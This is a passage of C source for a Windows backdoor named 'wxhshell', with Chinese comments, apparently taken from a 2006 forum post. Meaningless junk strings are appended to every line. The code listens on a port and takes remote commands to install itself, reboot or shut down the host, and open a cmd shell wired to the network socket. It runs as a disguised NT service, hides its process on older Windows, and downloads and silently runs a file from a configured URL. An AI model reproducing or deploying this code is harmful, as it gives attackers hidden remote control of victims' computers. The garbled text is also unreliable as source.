  // 帮助 1>J.kQR^  
  case '?': { |p6d]#z3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); kamQZzPe  
    break; $o[-xNn1  
  } l_^OdQ9D  
  // 安装 ^[?y 2A:  
  case 'i': { c{MoeIG)v@  
    if(Install()) b(*\4n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +0pI}a\  
    else QL/KY G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o1.~g'!^  
    break;  Z1 D  
    } w]wZJ/U`  
  // 卸载 9{u8fDm!  
  case 'r': { U]3!"+Y1P  
    if(Uninstall()) 3(BL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *()['c#CC  
    else '}Fe&%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WX&IQ@  
    break; u H[WlZ4  
    } cbJgeif  
  // 显示 wxhshell 所在路径 PIri|ZS  
  case 'p': { C`.YOkpj  
    char svExeFile[MAX_PATH]; NL9.J @"b  
    strcpy(svExeFile,"\n\r"); N*Aw-\Bk  
      strcat(svExeFile,ExeFile); gu k,GF9p]  
        send(wsh,svExeFile,strlen(svExeFile),0); .|,LBc!  
    break; \*$^}8  
    } ?H=YJK$k  
  // 重启 ;+hh|NiQ  
  case 'b': { A!lZyG!3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]rG=\>U3~  
    if(Boot(REBOOT)) FZ- Wgh 0z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /@9Q:'P  
    else { 0+>g/ >  
    closesocket(wsh); t ed:]  
    ExitThread(0); dSGdK $XA  
    } m%|\AZBA#  
    break; '.|}  
    } !<w6j-S  
  // 关机 |J&\/8Q  
  case 'd': { &f.5:u%{b  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G@7^M}  
    if(Boot(SHUTDOWN)) DsdM:u*s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S@,/$L  
    else { l#0zHBc  
    closesocket(wsh); ZdW+=;/#  
    ExitThread(0); k \OZ'dS  
    } yhH2b:nY(9  
    break; ~>:JwTy  
    } :w^:Z$-hf  
  // 获取shell g#I`P&  
  case 's': { 7ZUN;mr  
    CmdShell(wsh); e9p/y8gC  
    closesocket(wsh); x^y$pr  
    ExitThread(0);  ^*P?gG  
    break; 0}i 9`p  
  } cj>@Jx}]M  
  // 退出 @[^ 3y C#  
  case 'x': { ( fFrX_K]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *"^X)Y{c+l  
    CloseIt(wsh); 30h[&Oc  
    break; 11PL1zzH  
    } I"]E}nd)  
  // 离开 r`"_D%kc  
  case 'q': { NZGO8u  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); kH 9k<{  
    closesocket(wsh); ,88B@a  
    WSACleanup(); +C=vuR  
    exit(1); /IirTmFK  
    break; ZRhk2DA#FF  
        } IQBL;=.J.  
  } &^ERaPynd  
  } B} qRz  
(CQ! &Z8  
  // 提示信息 m]DP{-s4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {JWixbA  
} 3n2^;b/]  
  } Q}&'1J  
RrLiH>  
  return; b8a (.}8*  
} 6Emn@Mn=  
uNf'Zeo  
// shell模块句柄 Nr@,In|JS  
int CmdShell(SOCKET sock) rT="ciQ  
{ ,I iKe_B  
STARTUPINFO si; B~o3Z  
ZeroMemory(&si,sizeof(si)); -IIrrY O  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Qz`evvH  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; q`AsnAzo&  
PROCESS_INFORMATION ProcessInfo; $;g*s?F*  
char cmdline[]="cmd"; ceg\lE:8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d^'_H>x  
  return 0; ygTfQtN  
} Z@q1&}D!  
)+FnwW  
// 自身启动模式 3@F U-k,i  
int StartFromService(void) f?.}S] u5  
{  5+GTK)D  
typedef struct @!$xSH  
{ 2-S}#S}2C  
  DWORD ExitStatus; #8d#Jw  
  DWORD PebBaseAddress; S> Fb'rJ3  
  DWORD AffinityMask; IlEU6Rs  
  DWORD BasePriority; e ,XT(KY  
  ULONG UniqueProcessId; Q*1Avy6]  
  ULONG InheritedFromUniqueProcessId; li3X}  
}   PROCESS_BASIC_INFORMATION; (fc_V[(m"  
UHJro9  
PROCNTQSIP NtQueryInformationProcess; Vb 36R _u  
65B&>`H~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ds=d~sNu  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; w[2E:Nj  
4gZR!J  
  HANDLE             hProcess; E2hML  
  PROCESS_BASIC_INFORMATION pbi; V^(W)\  
5P*jGOg.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qPu?rU{2  
  if(NULL == hInst ) return 0; ; <- f  
3meZ]u  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); P'}EZ'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); JNU9RxR  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8f,",NCgc  
yJx,4be  
  if (!NtQueryInformationProcess) return 0; QKk7"2t|  
,9OER!$y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); T&dc)t`o  
  if(!hProcess) return 0; *`s*l+0b  
Mf5kknYuL9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @sR/l;  
<MxA;A  
  CloseHandle(hProcess); }2=~7&)  
c7rC!v  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); af'ncZ@U  
if(hProcess==NULL) return 0; 0>,i] |Y  
>U:-U"rA?  
HMODULE hMod; ; {m;CKHI  
char procName[255]; sVO|Ghy65  
unsigned long cbNeeded; +MS*YpPW  
fN`Prs A  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); - 6q7ze{@  
BT:b&"AR[  
  CloseHandle(hProcess); _J>Ik2EF  
:>y5'q@R  
if(strstr(procName,"services")) return 1; // 以服务启动 dn5t7D^ x  
p3%cb?G%w  
  return 0; // 注册表启动 tjZS:@3 Z  
} }Ej^"T:H_;  
@ /e{-Q  
// 主模块 8v)Z/R-  
int StartWxhshell(LPSTR lpCmdLine) kaZcYuT.9  
{ Dmtsu2o  
  SOCKET wsl; %)}_OXWf:  
BOOL val=TRUE; "t{D5{q|[k  
  int port=0; p=Q o92 NH  
  struct sockaddr_in door; FN0<iL  
*XXa 9z  
  if(wscfg.ws_autoins) Install(); k%RQf0`T  
WAr6Dv,8  
port=atoi(lpCmdLine); ?AQR\)P  
C-2#-{<  
if(port<=0) port=wscfg.ws_port; eET1f8 B=L  
5IG#-Q(6sp  
  WSADATA data; o>M&C X+j$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `yXHb  
%H"AHkge:a  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _h B7;N3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <XpG5vV  
  door.sin_family = AF_INET; AQ-R^kT  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); O sIvW'$\  
  door.sin_port = htons(port); &53LJlL Co  
)q+;+J`>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E-rGOm" m  
closesocket(wsl); =HoA2,R)  
return 1; M/6q ^*  
} h>NuQo*  
*fDhNmQ `  
  if(listen(wsl,2) == INVALID_SOCKET) { L{1PCs36c  
closesocket(wsl); i/DUB<>p6  
return 1; a '<B0'  
} p6{8t}  
  Wxhshell(wsl); jivGkIj!8  
  WSACleanup(); xirZ.wjW  
M-f; ,>  
return 0; x8rp Z  
}!vJ+  
} mVyF M -`  
_`]YWvh  
// 以NT服务方式启动 ^^*dHWHn<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ID=^497  
{ W GMEZx  
DWORD   status = 0; ADZU?7)  
  DWORD   specificError = 0xfffffff; w#$Q?u ,G  
"IdN*K  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6c#1Do(W+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; SQBe}FlktK  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9r,7>#IF  
  serviceStatus.dwWin32ExitCode     = 0; oGZ%w4T  
  serviceStatus.dwServiceSpecificExitCode = 0; lGN{1djT  
  serviceStatus.dwCheckPoint       = 0; i\k>2df  
  serviceStatus.dwWaitHint       = 0; )6-!,D0db  
}W"/h)q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .GDNd6[K7  
  if (hServiceStatusHandle==0) return; (^Hpe5h&  
uHO>FM,  
status = GetLastError(); a^GJR]] {  
  if (status!=NO_ERROR) ]$WwPDZ  
{ $]]|#}J  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; jUX0sRDk  
    serviceStatus.dwCheckPoint       = 0; czp}-{4X  
    serviceStatus.dwWaitHint       = 0; |rk4,NG.  
    serviceStatus.dwWin32ExitCode     = status; -6>T0-  
    serviceStatus.dwServiceSpecificExitCode = specificError; r`CsR0[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); OM7EmMa;  
    return; u"1Zv!  
  } Hk|wO:7Be  
g~$cnU  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; GZqy.AE,  
  serviceStatus.dwCheckPoint       = 0; xrl!$xE GX  
  serviceStatus.dwWaitHint       = 0; b\Gw|?Rv  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); DlbNW& V  
} KdtQJ:_`k  
w+3-j  
// 处理NT服务事件,比如:启动、停止 (E?X@d iu  
VOID WINAPI NTServiceHandler(DWORD fdwControl) L,wEUI  
{ jG&gd<^  
switch(fdwControl) 2_Otv2  
{ <-m[0zg q  
case SERVICE_CONTROL_STOP: .qk_m-o  
  serviceStatus.dwWin32ExitCode = 0; N(^ q%eHp  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ).1 F0T  
  serviceStatus.dwCheckPoint   = 0; P>i[X0UnL  
  serviceStatus.dwWaitHint     = 0; YeCS`IXm  
  { \B~}s}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Qc]Ki3ls  
  } 6` @4i'.  
  return; r5g:#mF"  
case SERVICE_CONTROL_PAUSE: #Rcb iV*M  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Ves x$!F#  
  break; 5ki<1{aVtZ  
case SERVICE_CONTROL_CONTINUE: KI{B<S3*Z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; h#rziZ(  
  break; +&h<:/ V  
case SERVICE_CONTROL_INTERROGATE: vCS D1~V_  
  break; P<A_7Ho  
}; hV]]%zwR+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -9z!fCu3  
} 'l*p!=  
S 7 *LV;  
// 标准应用程序主函数 kls 6Dk#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) '9d] B^)F  
{ 8C>\!lW"  
fC$(l@O?  
// 获取操作系统版本 ijR,%qg  
OsIsNt=GetOsVer(); 7awh__@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); V1Opp8  
)Cfk/OnRd  
  // 从命令行安装 ||t"}Y  
  if(strpbrk(lpCmdLine,"iI")) Install(); Zw<\^1  
05gdVa,  
  // 下载执行文件 1iTI8h&[@  
if(wscfg.ws_downexe) { .8EaFEd  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) XIJW$CY  
  WinExec(wscfg.ws_filenam,SW_HIDE); UiLiy?EJ  
} 5ps7)]  
j!<(`  
if(!OsIsNt) { J}'a|a@bk  
// 如果时win9x,隐藏进程并且设置为注册表启动 X1PXX!]lo[  
HideProc(); oF0BBs$  
StartWxhshell(lpCmdLine); p`-Oz]  
} FH}2wO~_  
else J-wF2*0r<  
  if(StartFromService()) sbi+o,%1  
  // 以服务方式启动 u#"L gG.X  
  StartServiceCtrlDispatcher(DispatchTable); &nyJ :?  
else xaG( 3  
  // 普通方式启动 Oq3]ZUVa  
  StartWxhshell(lpCmdLine); KJ;;825?  
`}Z`aK  
return 0; [Y_CRxa\u  
}
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只看该作者 1 发表于: 2006-10-10
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